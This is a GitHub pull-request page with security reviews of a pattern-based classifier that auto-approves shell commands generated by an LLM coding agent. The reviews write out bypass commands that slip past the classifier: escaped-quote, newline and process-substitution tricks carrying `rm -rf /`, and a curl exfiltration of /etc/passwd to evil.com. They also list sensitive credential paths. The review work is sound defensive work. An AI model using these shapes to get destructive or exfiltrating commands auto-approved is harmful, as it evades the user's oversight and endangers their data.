feat(permissions): pattern-based Bash command safety classifier - #787
kevincodex1 wants to merge 2 commits into
Conversation
auriti
left a comment
There was a problem hiding this comment.
Security Review — bashCommandSafety.ts
VERDICT: REQUEST_CHANGES
Overall Security Risk: High
The design philosophy is sound — bias toward unknown (false-negative) over false-positive, worst-case compound classification, pure pattern matching. However, the implementation has specific parsing gaps that create real bypass vectors allowing arbitrary commands to be classified as safe.
1. Scope
- File:
src/utils/permissions/bashCommandSafety.ts(699 lines) - File:
src/utils/permissions/bashCommandSafety.test.ts(359 lines) - Function: Pattern-based bash command safety classifier (safe/unsafe/unknown)
- Security-critical: false positives → destructive commands auto-approved
2. Attack Surface (in scope)
- Command string parsing (splitCompound, tokenize)
- Allowlist/denylist classification logic
- Compound command handling
- Shell metacharacter handling (quotes, escapes, redirects, substitution)
- Argument validation for gated commands
3. Findings
| # | Finding | Severity | Exploitability | Trust Boundary | Fix Type |
|---|---|---|---|---|---|
| 1 | Escaped backslash quote bypass in splitCompound |
Critical | Likely | Crosses (classifier→shell) | Local |
| 2 | Process substitution <(cmd) / >(cmd) not detected |
High | Likely | Crosses | Local |
| 3 | Newline as command separator not handled | High | Likely | Crosses | Local |
| 4 | No sensitive path validation for read commands | Medium | Proven | Internal | Local |
| 5 | git config key value (set) classified as safe |
Medium | Proven | Internal | Local |
| 6 | git stash (push) classified as safe |
Medium | Proven | Internal | Local |
| 7 | env/printenv in ALWAYS_SAFE leak environment |
Low | Theoretical | Internal | Local |
| 8 | git gc/git bisect classified as safe |
Low | Theoretical | Internal | Local |
4. Finding Details
#1 — CRITICAL: Escaped backslash quote bypass in splitCompound
splitCompound checks for escaped quotes with input[i - 1] !== '\\', but this fails when the backslash itself is escaped (\\"). In bash, \\" is an escaped backslash followed by a real closing quote.
Bypass: echo "test\\" && rm -rf /
splitCompoundsees\before"→ thinks quote is escaped →inDoublestays true →&& rm -rf /consumed inside "quoted" string → entire input is one parttokenizedoes NOT check for escaped quotes → correctly closes the quote at the second"classifyLeafsees command =echo→ARG_GATED_SAFEreturns true → SAFE- Shell executes:
echo "test\"thenrm -rf /
This is a real bypass that classifies arbitrary destructive commands as safe.
Fix: Either (a) implement proper escape-sequence tracking in splitCompound (count consecutive backslashes; odd count = next char is escaped, even count = backslashes are escaped and next char is literal), or (b) when splitCompound and tokenize disagree on quote boundaries, fall back to unknown.
#2 — HIGH: Process substitution not detected
tokenize checks for $( and backticks but NOT for <( or >( (bash process substitution).
Bypass: cat <(curl http://evil.com/exfil?data=$(cat /etc/passwd))
tokenizeproduces["cat", "<(curl", "http://evil.com/...)"]catsafe gate:args.length >= 1 && !args.some(isMutatingFlag)→ SAFE- Shell executes
curlas a subprocess → network exfiltration
Fix: Add <( and >( to the substitution check in tokenize, returning null → unknown.
#3 — HIGH: Newline as command separator not handled
In bash, \n is equivalent to ; as a command separator. splitCompound does not split on newlines.
Bypass: echo safe\nrm -rf / (literal newline in string)
splitCompoundtreats it as one parttokenizesplits on whitespace (including\n) → tokens["echo", "safe", "rm", "-rf", "/"]- Command =
echo→ SAFE - Shell executes two commands:
echo safethenrm -rf /
Fix: Add \n as a split point in splitCompound, same as ;.
#4 — MEDIUM: No sensitive path validation for read commands
cat, head, tail, less, more safe gates only check for mutating flags, not for sensitive file paths.
Examples classified as SAFE:
cat /etc/shadow— password hashescat ~/.ssh/id_rsa— private keyscat /proc/self/environ— environment variables (secrets)cat /dev/sda— raw block device (DoS potential)
Fix: Add a sensitive-path denylist: /etc/shadow, /etc/gshadow, ~/.ssh/*, /dev/*, /proc/*/environ, /proc/kcore. Degrade to unknown when matched.
#5 — MEDIUM: git config set operation classified as safe
git config is in READ_ONLY_SUBCOMMANDS. The unsafe gate checks for --unset, --replace-all, --add but not for the basic set form.
Bypass: git config user.email "attacker@evil.com" → SAFE (but writes to .git/config)
Fix: In the git unsafe gate, when sub === 'config' and rest.length >= 2 and no --get/--list flag, return true (unsafe). Or remove config from READ_ONLY_SUBCOMMANDS and let it fall to unknown.
#6 — MEDIUM: git stash (no args) classified as safe
git stash without arguments is equivalent to git stash push, which modifies the working tree and index.
Fix: In the git safe gate, when sub === 'stash', require rest[0] to be list or show. Otherwise reject.
#7 — LOW: env/printenv in ALWAYS_SAFE
These dump all environment variables, which may contain API keys, tokens, database credentials. Information disclosure risk depends on the environment.
Recommendation: Move to ARG_GATED_SAFE or degrade to unknown. Low priority since the output goes to the LLM context, not directly to an attacker.
#8 — LOW: git gc and git bisect in READ_ONLY_SUBCOMMANDS
git gc repacks objects and deletes loose objects. git bisect start/good/bad modifies HEAD. Neither is truly read-only.
Recommendation: Move gc and bisect out of READ_ONLY_SUBCOMMANDS.
5. Remediation Summary
| Priority | Finding | Fix | Who |
|---|---|---|---|
| P0 (blocking) | #1 Escaped backslash quote bypass | Fix escape tracking in splitCompound — count consecutive \ chars |
Builder |
| P0 (blocking) | #2 Process substitution bypass | Add <( and >( detection in tokenize |
Builder |
| P0 (blocking) | #3 Newline command separator | Split on \n in splitCompound |
Builder |
| P1 | #4 Sensitive path validation | Add path denylist for read commands | Builder |
| P1 | #5 git config set bypass | Fix git config classification | Builder |
| P1 | #6 git stash push bypass | Restrict git stash safe classification | Builder |
| P2 | #7 env/printenv info disclosure | Move to arg-gated or unknown | Builder |
| P2 | #8 git gc/bisect | Remove from READ_ONLY_SUBCOMMANDS | Builder |
6. Trust Boundary Notes
This classifier sits at the trust boundary between LLM-generated commands and shell execution. A false positive (safe classification of a destructive command) directly translates to auto-approved execution. The escaped-quote bypass (#1) crosses this boundary — an LLM generating echo "path\\" && curl ... (a natural pattern when dealing with escaped strings) would have the exfiltration command auto-approved.
7. Additional Test Coverage Needed
The test suite is solid for the happy path but missing adversarial cases:
- No test for escaped backslashes in quotes (
"test\\") - No test for process substitution (
<(cmd),>(cmd)) - No test for newline-separated commands
- No test for sensitive file paths (
cat /etc/shadow) - No test for
git configset operations - No test for
git stashwithout arguments - No test for full-path commands (
/usr/bin/rm -rf /)
8. Self-Review Summary
Quality Score: 8/10
- Coverage: 9/10 — Analyzed all major attack vectors (parsing, injection, allowlist/denylist, edge cases). Did not analyze interaction with the broader permission pipeline (out of scope — not yet wired in).
- Accuracy: 8/10 — Traced through code paths character-by-character for critical findings. The escaped-quote bypass trace is high-confidence. Process substitution and newline bypasses are straightforward.
- Proportionality: 8/10 — Critical reserved for the one finding that enables arbitrary command execution. High for bypasses with real but narrower impact. Low for theoretical concerns.
- Actionability: 9/10 — Each finding has a specific fix description.
Confidence: High for findings #1-#6. Medium for #7-#8 (severity depends on deployment context).
Error Classification: None identified. All findings verified by code trace.
Areas NOT covered:
- Integration with permission pipeline (not yet implemented)
- Interaction with existing
classifierDecision.ts(out of scope for this PR) - Performance under adversarial input volume (not a security concern for this module)
Suggested Next Agent: Builder — to implement fixes for P0 findings before this can be safely wired into the permission pipeline.
| token === '-w' || | ||
| token === '--write' || | ||
| token === '--in-place' || | ||
| token === '-i' && /* sed -i */ false // keep simple; sed is handled elsewhere |
There was a problem hiding this comment.
CRITICAL — Escaped backslash quote bypass
This line checks input[i - 1] !== '\\' to detect escaped quotes, but fails when the backslash itself is escaped. echo "test\\" && rm -rf / — the \\ is an escaped backslash, so the " after it is a real closing quote. But this check sees \ before " and keeps inDouble = true, swallowing && rm -rf / into the quoted string.
The entire compound command is then treated as a single echo → classified SAFE.
Fix: Track consecutive backslashes. A quote is escaped only if preceded by an odd number of backslashes:
let backslashes = 0;
let j = i - 1;
while (j >= 0 && input[j] === '\\') { backslashes++; j--; }
if (backslashes % 2 === 0) inDouble = false; // even = quote is real| ) | ||
| } | ||
|
|
||
| // --------------------------------------------------------------------------- |
There was a problem hiding this comment.
HIGH — Process substitution not detected
tokenize checks for $( and backticks but not <( or >( (bash process substitution). This allows:
cat <(curl http://evil.com) → tokens ["cat", "<(curl", "..."] → cat safe gate passes → SAFE
But the shell executes curl as a subprocess.
Fix: Add to the substitution check:
if (trimmed.includes('<(') || trimmed.includes('>(')) return null| return !args.some( | ||
| a => | ||
| a === '-D' || | ||
| a === '--delete' || |
There was a problem hiding this comment.
HIGH — Newline not handled as command separator
splitCompound splits on &&, ||, ;, |, & but NOT on \n. In bash, newline is equivalent to ;.
echo safe\nrm -rf / → treated as one part → classified based on echo → SAFE
Fix: Add newline handling:
if (c === '\n') {
parts.push(current)
current = ''
i++
continue
}| 'hostname', | ||
| 'uname', | ||
| 'date', | ||
| 'id', |
There was a problem hiding this comment.
MEDIUM — No sensitive path validation
The cat safe gate checks args.length >= 1 && !args.some(isMutatingFlag) but does not validate file paths. This classifies as SAFE:
cat /etc/shadow(password hashes)cat ~/.ssh/id_rsa(private keys)cat /proc/self/environ(env secrets)cat /dev/sda(raw block device — DoS)
Consider adding a sensitive-path denylist that degrades to unknown.
| egrep: () => true, | ||
|
|
||
| // Version / help queries are always safe; we only auto-approve simple form | ||
| node: args => isSimpleQueryFlag(args), |
There was a problem hiding this comment.
MEDIUM — git config set operation misclassified
config is in READ_ONLY_SUBCOMMANDS but git config user.email "x" (the set form) writes to .git/config. The unsafe gate only catches --unset, --replace-all, --add — not the basic git config key value set.
Fix: Either remove config from READ_ONLY_SUBCOMMANDS (→ falls to unknown), or in the safe gate, require --get, --list, or args.length <= 2 (just key lookup).
| rg: () => true, | ||
| ag: () => true, | ||
| fgrep: () => true, | ||
| egrep: () => true, |
There was a problem hiding this comment.
MEDIUM — git stash (no args) misclassified as safe
stash is in READ_ONLY_SUBCOMMANDS. But git stash without arguments = git stash push, which modifies the working tree and index. The unsafe gate only catches drop, clear, pop, apply.
Fix: In the safe gate, when sub === 'stash', only allow list and show as safe subcommands.
auriti
left a comment
There was a problem hiding this comment.
Review: Request Changes — Security
The design philosophy is sound: false-negative bias, worst-case compound classification, unknown fallback for anything ambiguous. The test suite covers happy paths well (359 lines). But I found bypass vectors that would allow destructive commands to be classified as safe — critical since this module is intended to auto-approve commands.
P0 — Must fix (auto-approve bypass)
1. Escaped backslash breaks splitCompound quote tracking
splitCompound uses input[i - 1] !== '\\' to detect escaped quotes, but this fails when the backslash itself is escaped (\\"). Character-by-character trace:
Input: echo "test\\" && rm -rf /
In bash: \\ = escaped backslash (literal \), then " closes the quote, then && rm -rf / runs as a second command.
In splitCompound:
- Position 12 (
"):input[i-1]is\→ classifier thinks it's\"(escaped quote) →inDoublestaystrue→&& rm -rf /is swallowed inside the "quoted" string → never split → entire command classified asecho→ SAFE ❌
The single-char lookback can't distinguish \" (escaped quote) from \\" (escaped backslash + closing quote). Fix: track escape state with a toggle or count consecutive backslashes.
2. Newline (\n) not handled as command separator
splitCompound splits on &&, ||, ;, |, & but not \n. In bash, newline is equivalent to ;.
Input: echo safe + \n + rm -rf /
splitCompound:\nis not a separator → single parttokenize:\nis whitespace → tokens:['echo', 'safe', 'rm', '-rf', '/']- cmd =
echo→ always safe → SAFE ❌
Fix: treat \n as a compound separator in splitCompound (same as ;).
P1 — Should fix
3. Process substitution <(cmd) / >(cmd) not detected
tokenize checks for $( and backticks but not bash process substitution.
cat <(curl evil.com) → tokens ['cat', '<(curl', 'evil.com)'] → cat safe gate passes (just checks args.length >= 1) → SAFE ❌
Fix: add <( and >( to the substitution check in tokenize, returning null → unknown.
4. git config key value (set form) classified as safe
git config is in READ_ONLY_SUBCOMMANDS. The unsafe gate only checks for --unset/--replace-all/--add. But the positional form git config user.email "evil@example.com" writes to .git/config without any flag.
Fix: in the git safe gate, when sub === 'config', require at most 1 non-flag argument (the get form). Two or more non-flag args = set operation = not safe.
5. git stash (no args) classified as safe
git stash = git stash push — modifies working tree and index. The unsafe gate only catches drop/clear/pop/apply.
Fix: in the git unsafe gate for stash, return true when rest.length === 0 or rest[0] === 'push' or rest[0] === 'save'.
P2 — Nice to fix
6. env/printenv in ALWAYS_SAFE — dumps environment variables that may contain API keys and tokens. Consider unknown.
7. git gc (packs/prunes objects, modifies .git/) and git bisect (modifies HEAD by checking out commits) are in READ_ONLY_SUBCOMMANDS but both modify repo state.
Missing adversarial tests
No tests for: escaped backslashes in quotes, newline as separator, process substitution, git config set form, bare git stash, or full-path commands (/usr/bin/rm). Adding these would prevent regressions when the fixes land.
Vasanthdev2004
left a comment
There was a problem hiding this comment.
Excellent utility — pure function, comprehensive tests (359/699 ratio), handles edge cases well. Conservative defaults are the right choice for a safety classifier. Needs a follow-up PR to wire into the BashTool permission pipeline, but the module itself is ready. LGTM.
009e232 to
280963e
Compare
280963e to
d08b56f
Compare
|
please have a look again when you have time @auriti |
Vasanthdev2004
left a comment
There was a problem hiding this comment.
Thanks for the PR. This is a targeted re-review of the current head after the earlier review was dismissed by follow-up pushes. I still see a blocker on the current head.
Verdict: Needs changes
Blocking issue:
src/utils/permissions/bashCommandSafety.tsstill marks commands assafethat are not actually read-only. Examples on current head includecommand <unsafe>(becausecommandis inALWAYS_SAFE_COMMANDS), mutatinggit branch/git tag/git worktreeforms,git fetchnetwork activity, andgo env -wwriting persistent config. That is a false-safe bypass in the command-safety classifier, so I do not think this is merge-ready yet.
Non-blocking notes:
- The parsing-path issues from the earlier review look improved; the remaining problem is classifier correctness at the trust boundary.
Happy to re-review once the blocker is addressed.
gnanam1990
left a comment
There was a problem hiding this comment.
Well-engineered standalone utility — correct backslash-escape counting, explicit handling of command / process substitution as 'unknown', and a comprehensive git subcommand matrix. Test coverage is strong. One note: the classifier isn't wired into any caller yet, so a follow-up threading it into the Bash permission path would make this a full feature. Approving the primitive as-is.
64a3ee8 to
daab3cc
Compare
|
hi bro @Vasanthdev2004 please have a look into this again |
Vasanthdev2004
left a comment
There was a problem hiding this comment.
Scope: Targeted review of the current Bash safety classifier head (daab3cc) with focus on trust-boundary / auto-approval safety.
Verdict: Needs changes
The parser hardening and adversarial coverage are strong, and I agree with the general direction of shipping this as a standalone primitive before wiring it into the permission path. The focused test suite also passes locally.
Blocking issue:
- The classifier still marks network-effecting git operations as
safe:git fetchis explicitly tested as safe, andgit ls-remoteremains in the read-only subcommand set. That crosses the same trust boundary this classifier is trying to protect.git fetchperforms outbound network I/O and mutates local git metadata/refs/FETCH_HEAD;git ls-remoteis outbound network I/O even if it is read-only locally. Because the intended follow-up is to usesafefor auto-approval, these should not be classified as safe. Please degrade network git subcommands such asfetch/ls-remotetounknownorunsafe, and add regression tests for them.
Verification I ran:
bun test ./src/utils/permissions/bashCommandSafety.test.tspassed: 115/115.- GitHub checks are green on the current head.
Once the git network boundary is tightened, I?m happy to re-review. The rest of the current primitive looks carefully built.
jatmn
left a comment
There was a problem hiding this comment.
Thanks for following up on the earlier security review. The parser hardening items look addressed now, but I found remaining false-safe classifications in the current head.
Findings
-
[P1] Do not classify
commanditself as always safe
src/utils/permissions/bashCommandSafety.ts:66
commandis not just a read-only lookup helper; with a utility argument it executes that utility while bypassing shell functions. Because it is inALWAYS_SAFE_COMMANDS,classifyBashSafety('command rm -rf /tmp/x')currently returnssafe, so wiring this primitive into auto-approval would let an unsafe command through by prefixing it withcommand. Please removecommandfrom the unconditional safe set and only allow specific read-only forms such ascommand -v <name>/command -V <name>. -
[P1] Tighten safe gates for subcommands that still mutate state or perform network I/O
src/utils/permissions/bashCommandSafety.ts:146
The current safe gates still returnsafefor non-read-only operations. I confirmed these examples on the PR head:git fetch,git ls-remote origin,git worktree add ../wt,git branch -m old new,git tag v1.2.3, andgo env -w GOPATH=/tmp/goall classify assafe. These perform outbound network I/O, mutate repo refs/metadata/worktrees/tags, or write persistent Go config. Sincesafeis intended for future auto-approval, please degrade these forms tounknownor mark the mutating formsunsafe, and add regression tests for the specific command shapes.
Blockers
Non-Blocking
Looks Good
Verdict: Changes Requested — critical security bypasses must be fixed before merge. The classifier sits at the trust boundary between LLM-generated commands and shell execution. False positives directly translate to auto-approved execution of destructive commands. The escaped-quote bypass (#1) is especially dangerous — an LLM generating |
External OpenClaude builds stub out yoloClassifier (Anthropic-internal, gated
on feature('TRANSCRIPT_CLASSIFIER') + USER_TYPE === 'ant'), so every Bash
invocation outside the static safe-tool allowlist currently prompts the user.
That turns "run my grep" and "check git status" into permission-prompt fatigue
for anyone using OpenClaude with an external provider.
Adds a pure pattern-based classifier that works without the LLM, without the
internal feature flag, and with zero latency cost.
New module src/utils/permissions/bashCommandSafety.ts:
classifyBashSafety(command) → { safety: 'safe' | 'unsafe' | 'unknown',
reason: string,
parts?: SafetyVerdict[] }
Safe allowlist covers read-only filesystem inspection (cat, head, tail,
stat, wc), listing/search (ls, find without -exec/-delete, grep, rg),
version queries (node/npm/bun/python/go/cargo/tsc --version), and git
read-only subcommands (status, log, diff, show, blame, branch -v, etc.).
Unsafe denylist covers destructive commands (rm, dd, shred, mkfs),
privilege / mutation (sudo, chmod, chown, kill), process control
(shutdown, systemctl), package-manager mutations (npm install, brew,
apt-get, bun add), network I/O (curl, wget, ssh, rsync), destructive git
subcommands (push, commit, reset, rebase, clean, checkout) PLUS destructive
flags on otherwise-read-only subcommands (git branch -D, git stash drop,
git tag -d, git remote remove, git config --unset).
Compound commands (&&, ||, ;, |, parens) are split and classified
individually; overall verdict is the worst case. File redirection (>, >>,
2>, tee) degrades to 'unknown'. Command substitution ($(…), `…`) and
unbalanced quotes degrade to 'unknown' — false-negative bias, never
false-positive.
This ships as a primitive. Wiring it into the permission pipeline (so
'safe' verdicts auto-approve and 'unsafe' verdicts always prompt) is a
follow-up PR once the classification surface is reviewed.
Co-Authored-By: OpenClaude <openclaude@gitlawb.com>
Addresses the security review on feat/bash-command-safety-classifier. Each finding traced by reviewer is fixed locally; adversarial tests cover each bypass pattern. P0 — parser bypasses (CRITICAL / HIGH): #1 Escaped backslash before close quote — `echo "test\\" && rm -rf /` slipped through as one quoted echo. The prior `input[i-1] !== '\\'` check fails when the backslash itself is escaped. Replaced with an isCharEscaped() helper that counts consecutive backslashes; a quote is escaped only when preceded by an odd count. Applied in BOTH splitCompound AND tokenize so they agree on quote boundaries. #2 Process substitution not detected — `cat <(curl ...)` passed the cat safe gate. tokenize now returns null on `<(` / `>(` same as it did for `$(` / backticks, degrading to 'unknown'. Twigpine#3 Newline as command separator — `echo safe\nrm -rf /` was treated as one line by splitCompound (bash splits on \n = ;). Added \n to the separator list alongside ; | &. P1 — classification bypasses (MEDIUM): Twigpine#4 Sensitive-path denylist — cat/head/tail/less/more/file/stat/wc and readlink/realpath now consult SENSITIVE_PATH_PATTERNS. /etc/shadow, ~/.ssh/id_rsa, /proc/*/environ, /dev/sd*, ~/.aws/credentials, ~/.kube/config, id_rsa / *.pem / *.key etc. degrade to 'unknown'. Public keys (*.pub) and normal files remain safe. Twigpine#5 `git config key value` misclassified — removed `config` from the READ_ONLY_SUBCOMMANDS list and added explicit unsafe gate: two+ positional args with no --get/--list is a set, marked unsafe. --unset / --replace-all / --add / --unset-all also marked unsafe. Single-arg read form falls to 'unknown' (defers to existing rules). Twigpine#6 `git stash` (bare) misclassified — equivalent to `git stash push`, mutates worktree + index. Safe path now requires `git stash list` or `git stash show`; everything else in stash falls to unsafe or unknown. P2 — hygiene (LOW): Twigpine#7 env / printenv removed from ALWAYS_SAFE_COMMANDS. Plain `env` dumps all environment variables (API keys, tokens) to the caller — not safe to auto-approve. FOO=bar cmd idiom still works via the existing env-assignment-prefix stripping. Twigpine#8 git gc / prune / repack / bisect removed from READ_ONLY_SUBCOMMANDS and added to the unsafe gate. gc repacks + deletes loose objects; bisect start/good/bad/reset/run/skip/terms/replay mutate HEAD. Tests: 35 new adversarial cases across all 8 findings, plus regression coverage (public keys still safe, FOO=bar pwd still safe, git stash list/show still safe). Full suite: 1187/1187 pass. PR intent scan: clean. Co-Authored-By: OpenClaude <openclaude@gitlawb.com>
|
hello @jatmn kindly check this again bro |
daab3cc to
9379a88
Compare
📝 WalkthroughWalkthroughTwo new files introduce a pure, pattern-based Bash command safety classifier. ChangesBash Command Safety Classifier
Estimated code review effort🎯 4 (Complex) | ⏱️ ~60 minutes 🚥 Pre-merge checks | ✅ 4 | ❌ 3❌ Failed checks (2 warnings, 1 inconclusive)
✅ Passed checks (4 passed)
✏️ Tip: You can configure your own custom pre-merge checks in the settings. ✨ Finishing Touches🧪 Generate unit tests (beta)
Comment |
There was a problem hiding this comment.
Actionable comments posted: 3
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
Inline comments:
In `@src/utils/permissions/bashCommandSafety.ts`:
- Line 139: In the npm property of the safety check configuration where the
arrow function validates command arguments, the final condition mixing the &&
and || operators is unclear. Wrap the condition checking args[0] === 'config' &&
args[1] === 'get' in parentheses to explicitly clarify operator precedence,
making it clear that this entire combined condition is an alternative option in
the || chain of allowed npm commands. This improves readability without changing
the behavior.
- Around line 162-215: The git function has `worktree` and `reflog` in
READ_ONLY_SUBCOMMANDS, but these subcommands have mutating forms like `git
worktree add`, `git worktree remove --force`, `git reflog expire`, and `git
reflog delete` that should not be allowed. Add special case checks for both
`worktree` and `reflog` subcommands that mirror the existing stash handling
pattern - add conditional blocks that only allow specific safe sub-operations
like `list` and `show` for these commands, and return false for other variants
that would mutate state. This should be done before the general
READ_ONLY_SUBCOMMANDS check.
- Around line 592-618: The parenDepth counter in the operator splitting logic
can go negative when encountering unbalanced closing brackets, which silently
disables operator detection at the top level (parenDepth === 0 check). This
allows dangerous operators like && and | to hide inside what appears to be a
benign command leaf. Fix this by preventing parenDepth from going below zero
when decrementing on close brackets (clamp it to 0), and after the main parsing
loop completes, check if parenDepth is not zero (indicating unbalanced open
brackets). If parenDepth is non-zero at the end, return unknown safety status
rather than proceeding to mark the command as safe, since an imbalanced
structure indicates a parsing failure. Add regression tests for both cases:
unbalanced closing brackets like echo a} && rm -rf / and unbalanced opening
brackets like echo ( && rm -rf / to ensure neither can bypass the safety check.
🪄 Autofix (Beta)
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: Path: .coderabbit.yaml
Review profile: ASSERTIVE
Plan: Pro
Run ID: abaffc6e-ab5e-477e-82a7-eec1c6b0e8ad
📒 Files selected for processing (2)
src/utils/permissions/bashCommandSafety.test.tssrc/utils/permissions/bashCommandSafety.ts
📜 Review details
🧰 Additional context used
📓 Path-based instructions (11)
src/**/*.{ts,tsx}
📄 CodeRabbit inference engine (AGENTS.md)
Use TypeScript with strict mode and ESM imports
Files:
src/utils/permissions/bashCommandSafety.tssrc/utils/permissions/bashCommandSafety.test.ts
{src/services/**/*.ts,src/utils/**/*.ts}
📄 CodeRabbit inference engine (AGENTS.md)
Use
execafor child processes
Files:
src/utils/permissions/bashCommandSafety.tssrc/utils/permissions/bashCommandSafety.test.ts
**/*.{ts,tsx,js,jsx,py,json,md}
📄 CodeRabbit inference engine (CONTRIBUTING.md)
Follow the existing code style in the touched files
Files:
src/utils/permissions/bashCommandSafety.tssrc/utils/permissions/bashCommandSafety.test.ts
**/*.{ts,tsx,js,jsx,py}
📄 CodeRabbit inference engine (CONTRIBUTING.md)
Keep comments useful and concise
Files:
src/utils/permissions/bashCommandSafety.tssrc/utils/permissions/bashCommandSafety.test.ts
**/*.{ts,tsx}
📄 CodeRabbit inference engine (CONTRIBUTING.md)
Follow TypeScript strict mode and type safety practices by running typecheck before submitting
Files:
src/utils/permissions/bashCommandSafety.tssrc/utils/permissions/bashCommandSafety.test.ts
**
⚙️ CodeRabbit configuration file
**: # AGENTS.md - AI Agent Coding GuideThis guide is for AI coding agents working in the OpenClaude repository. Read it before changing code, and also follow CONTRIBUTING.md for contributor policy, PR expectations, review follow-up, and project scope.
Project Snapshot
OpenClaude is a coding-agent CLI for cloud and local model providers. It supports OpenAI-compatible APIs, Anthropic, Gemini, DeepSeek, Ollama, MCP, local backends, slash commands, tools, agents, and a React/Ink terminal UI.
The installed CLI runs on Node.js
>=22.0.0. Bun is used for source builds, scripts, dependency management, and tests.Work Style
- Keep changes focused on one problem.
- Prefer existing patterns in the file or nearby module.
- Avoid unrelated formatting, renames, dependency changes, or broad rewrites.
- Add or update tests when behavior changes.
- Update docs when setup, commands, provider behavior, or user-facing behavior changes.
- For new features, larger refactors, dependencies, or runtime changes, follow the issue-first guidance in CONTRIBUTING.md.
Stack And Conventions
- TypeScript with strict mode and ESM imports.
- React + Ink for terminal UI.
- Bun lockfile and Bun scripts for development workflows.
- Node runtime for the built CLI.
- Python exists for legacy/local-provider helper code. Do not add new Python code or expand Python-based features unless a maintainer explicitly approves that direction.
Common libraries and patterns:
chalkfor terminal color.commanderfor CLI argument parsing.execafor child processes.- Existing service, provider, settings, permission, and UI patterns over new abstractions.
Repository Map
src/commands/- slash and CLI command implementations.src/components/- React/Ink UI components.src/services/- API, MCP, OAuth, wiki, voice, and other service integrations.src/tools/- tool implementations.src/utils/- shared utilities.- `src/integration...
Files:
src/utils/permissions/bashCommandSafety.tssrc/utils/permissions/bashCommandSafety.test.ts
**/*
⚙️ CodeRabbit configuration file
**/*: Apply the OpenClaude maintainer review rubric from AGENTS.md. Review the current diff, not stale discussion context. Separate real blockers from suggestions. Do not request changes for vague style churn. Treat approval as merge-ready from CodeRabbit's side, pending required human review and GitHub Checks. If checks are failing or unavailable, say so clearly instead of implying the PR is fully ready.
Files:
src/utils/permissions/bashCommandSafety.tssrc/utils/permissions/bashCommandSafety.test.ts
src/{components/permissions,utils/permissions,hooks/toolPermission,tools,entrypoints/sdk}/**
⚙️ CodeRabbit configuration file
src/{components/permissions,utils/permissions,hooks/toolPermission,tools,entrypoints/sdk}/**: Review permission prompts, auto-allow logic, sandbox behavior, SDK permission schemas, shell/PowerShell execution, and background execution paths as security-sensitive. Block on bypasses, unclear trust boundaries, unsafe path handling, missing user visibility, or changes that broaden allowed behavior without an explicit maintainer decision.
Files:
src/utils/permissions/bashCommandSafety.tssrc/utils/permissions/bashCommandSafety.test.ts
**/*.test.{ts,tsx,js,jsx}
📄 CodeRabbit inference engine (CONTRIBUTING.md)
Add or update tests when the change affects behavior
Files:
src/utils/permissions/bashCommandSafety.test.ts
**/*.test.{ts,tsx,js}
📄 CodeRabbit inference engine (CONTRIBUTING.md)
Test the exact provider/model path you changed when possible
Files:
src/utils/permissions/bashCommandSafety.test.ts
{src/**/*.test.ts,src/**/*.test.tsx,tests/**,scripts/**/*.test.ts,vscode-extension/**/*.test.js}
⚙️ CodeRabbit configuration file
{src/**/*.test.ts,src/**/*.test.tsx,tests/**,scripts/**/*.test.ts,vscode-extension/**/*.test.js}: Review tests for meaningful coverage of the changed behavior, isolation of global/env/config state, async cleanup, fake timers, provider profile leaks, and Windows-compatible assumptions. Block when risky runtime changes lack focused regression coverage or tests assert implementation details while missing the user-visible behavior.
Files:
src/utils/permissions/bashCommandSafety.test.ts
🔇 Additional comments (2)
src/utils/permissions/bashCommandSafety.test.ts (1)
1-533: LGTM!src/utils/permissions/bashCommandSafety.ts (1)
554-562: LGTM!Also applies to: 638-698
|
|
||
| // Version / help queries are always safe; we only auto-approve simple form | ||
| node: args => isSimpleQueryFlag(args), | ||
| npm: args => args[0] === '--version' || args[0] === '-v' || args[0] === 'help' || args[0] === 'view' || args[0] === 'list' || args[0] === 'ls' || args[0] === 'root' || args[0] === 'config' && args[1] === 'get', |
There was a problem hiding this comment.
📐 Maintainability & Code Quality | 🔵 Trivial | 💤 Low value
Wrap the mixed &&/|| in parens for clarity.
Precedence is correct (config && get binds tighter), but the unparenthesized tail is easy to misread and a future edit could silently break it. A small parenthesization or an early if (args[0] === 'config') return args[1] === 'get' improves readability without behavior change.
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@src/utils/permissions/bashCommandSafety.ts` at line 139, In the npm property
of the safety check configuration where the arrow function validates command
arguments, the final condition mixing the && and || operators is unclear. Wrap
the condition checking args[0] === 'config' && args[1] === 'get' in parentheses
to explicitly clarify operator precedence, making it clear that this entire
combined condition is an alternative option in the || chain of allowed npm
commands. This improves readability without changing the behavior.
| git: args => { | ||
| if (args.length === 0) return true // `git` alone shows usage | ||
| const sub = args[0] | ||
| const READ_ONLY_SUBCOMMANDS = new Set([ | ||
| 'status', | ||
| 'log', | ||
| 'diff', | ||
| 'show', | ||
| 'branch', | ||
| 'tag', | ||
| 'remote', | ||
| 'rev-parse', | ||
| 'rev-list', | ||
| 'ls-files', | ||
| 'ls-remote', | ||
| 'ls-tree', | ||
| 'blame', | ||
| 'shortlog', | ||
| 'describe', | ||
| 'reflog', | ||
| 'worktree', | ||
| 'fetch', | ||
| 'help', | ||
| '--version', | ||
| '--help', | ||
| 'whatchanged', | ||
| 'cat-file', | ||
| 'show-ref', | ||
| 'symbolic-ref', | ||
| 'name-rev', | ||
| 'count-objects', | ||
| 'fsck', | ||
| 'grep', | ||
| ]) | ||
| // stash is safe only for read subcommands (list, show). Bare `git stash` | ||
| // is equivalent to `git stash push` — mutates the working tree. | ||
| if (sub === 'stash') { | ||
| const rest = args.slice(1) | ||
| return rest[0] === 'list' || rest[0] === 'show' | ||
| } | ||
| if (!READ_ONLY_SUBCOMMANDS.has(sub)) return false | ||
| // `git branch -D`, `git branch --delete`, `git tag -d`, etc. mutate. | ||
| return !args.some( | ||
| a => | ||
| a === '-D' || | ||
| a === '--delete' || | ||
| a === '--force-delete' || | ||
| a === 'drop' || | ||
| a === 'clear' || | ||
| a === '-d' && sub === 'branch' || | ||
| a === '-d' && sub === 'tag' || | ||
| a === '-m' && sub === 'stash', | ||
| ) | ||
| }, |
There was a problem hiding this comment.
🔒 Security & Privacy | 🟠 Major | ⚡ Quick win
MAJOR — git worktree / git reflog mutating forms classified safe.
worktree and reflog are in READ_ONLY_SUBCOMMANDS, but the git unsafe gate (lines 436-542) never inspects them. So:
